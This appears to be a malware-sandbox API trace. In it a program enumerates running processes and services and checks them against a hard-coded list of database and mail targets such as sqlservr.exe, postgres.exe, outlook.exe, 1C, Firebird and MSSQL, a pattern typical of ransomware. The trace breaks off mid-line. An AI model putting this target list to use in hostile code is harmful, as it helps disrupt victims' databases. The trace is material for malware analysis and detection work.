[0231.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0231.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0231.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0231.064] lstrlenW (lpString="Themes") returned 6 [0231.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0231.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0231.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0231.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0231.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0231.064] lstrlenW (lpString="UxSms") returned 5 [0231.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0231.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0231.065] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0231.065] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0231.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0231.065] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0231.065] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0231.070] Process32FirstW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.071] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.072] lstrlenW (lpString="System") returned 6 [0231.072] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0231.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0231.072] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0231.072] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0231.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0231.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0231.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0231.073] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.074] lstrlenW (lpString="smss.exe") returned 8 [0231.074] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0231.074] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0231.074] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0231.074] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0231.074] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0231.074] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0231.074] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0231.074] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.075] lstrlenW (lpString="csrss.exe") returned 9 [0231.075] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0231.076] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0231.076] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0231.076] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0231.076] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0231.076] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0231.076] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0231.076] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.078] lstrlenW (lpString="wininit.exe") returned 11 [0231.078] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0231.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0231.078] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0231.078] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0231.078] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0231.078] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0231.078] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0231.078] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.079] lstrlenW (lpString="csrss.exe") returned 9 [0231.079] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0231.079] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0231.079] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0231.079] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0231.079] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0231.080] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0231.080] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0231.080] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.081] lstrlenW (lpString="winlogon.exe") returned 12 [0231.081] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0231.081] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0231.081] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0231.081] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0231.081] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0231.081] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0231.081] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0231.081] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.082] lstrlenW (lpString="services.exe") returned 12 [0231.082] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0231.082] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0231.083] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0231.083] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0231.083] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0231.083] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0231.083] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0231.083] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.084] lstrlenW (lpString="lsass.exe") returned 9 [0231.084] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0231.084] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0231.084] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0231.084] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0231.084] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0231.084] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0231.084] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0231.085] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0231.086] lstrlenW (lpString="lsm.exe") returned 7 [0231.086] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0231.086] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0231.086] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0231.086] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0231.086] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0231.086] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0231.086] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0231.086] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.087] lstrlenW (lpString="svchost.exe") returned 11 [0231.087] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.087] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.087] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.087] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.087] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.087] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.087] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.088] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.089] lstrlenW (lpString="svchost.exe") returned 11 [0231.089] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.089] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.089] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.089] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.089] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.090] lstrlenW (lpString="svchost.exe") returned 11 [0231.090] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.090] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.090] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.090] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.090] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.091] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.092] lstrlenW (lpString="svchost.exe") returned 11 [0231.092] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.092] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.323] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.323] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.324] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.324] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.324] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.324] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.325] lstrlenW (lpString="svchost.exe") returned 11 [0231.325] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.325] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.325] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.325] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.327] lstrlenW (lpString="audiodg.exe") returned 11 [0231.327] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.328] lstrlenW (lpString="svchost.exe") returned 11 [0231.328] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0231.329] lstrlenW (lpString="userinit.exe") returned 12 [0231.329] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.330] lstrlenW (lpString="explorer.exe") returned 12 [0231.330] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.331] lstrlenW (lpString="dwm.exe") returned 7 [0231.331] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.332] lstrlenW (lpString="svchost.exe") returned 11 [0231.332] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0231.333] lstrlenW (lpString="winhost.exe") returned 11 [0231.333] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.334] lstrlenW (lpString="spoolsv.exe") returned 11 [0231.334] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0231.335] lstrlenW (lpString="dllhost.exe") returned 11 [0231.335] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.336] lstrlenW (lpString="svchost.exe") returned 11 [0231.336] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0231.337] lstrlenW (lpString="taskhost.exe") returned 12 [0231.337] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0231.338] lstrlenW (lpString="reader_sl.exe") returned 13 [0231.338] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0231.339] CloseHandle (hObject=0x37c) returned 1 [0231.339] Sleep (dwMilliseconds=0x1f4) [0231.910] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0231.911] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0231.912] GetLastError () returned 0xea [0231.912] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc9a) returned 0x432a868 [0231.912] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xc9a, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0231.914] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0231.914] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0231.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.914] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0231.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0231.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0231.915] lstrlenW (lpString="AudioSrv") returned 8 [0231.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0231.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0231.915] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0231.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0231.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0231.916] lstrlenW (lpString="BFE") returned 3 [0231.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0231.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0231.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0231.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0231.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0231.916] lstrlenW (lpString="CryptSvc") returned 8 [0231.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0231.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0231.916] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0231.916] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0231.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0231.916] lstrlenW (lpString="CscService") returned 10 [0231.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0231.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0231.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0231.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0231.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0231.917] lstrlenW (lpString="DcomLaunch") returned 10 [0231.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.917] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0231.917] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0231.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0231.918] lstrlenW (lpString="Dhcp") returned 4 [0231.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0231.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0231.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0231.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0231.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0231.918] lstrlenW (lpString="Dnscache") returned 8 [0231.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0231.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0231.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0231.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0231.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0231.919] lstrlenW (lpString="DPS") returned 3 [0231.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0231.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0231.920] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0231.920] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0231.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0231.920] lstrlenW (lpString="eventlog") returned 8 [0231.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0231.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0231.921] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0231.921] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0231.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0231.921] lstrlenW (lpString="EventSystem") returned 11 [0231.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0231.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0231.921] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0231.921] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0231.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0231.921] lstrlenW (lpString="gpsvc") returned 5 [0231.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0231.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0231.922] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0231.922] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0231.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0231.922] lstrlenW (lpString="LanmanWorkstation") returned 17 [0231.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.922] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0231.922] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0231.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0231.922] lstrlenW (lpString="lmhosts") returned 7 [0231.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0231.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0231.923] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0231.923] lstrcmpiW 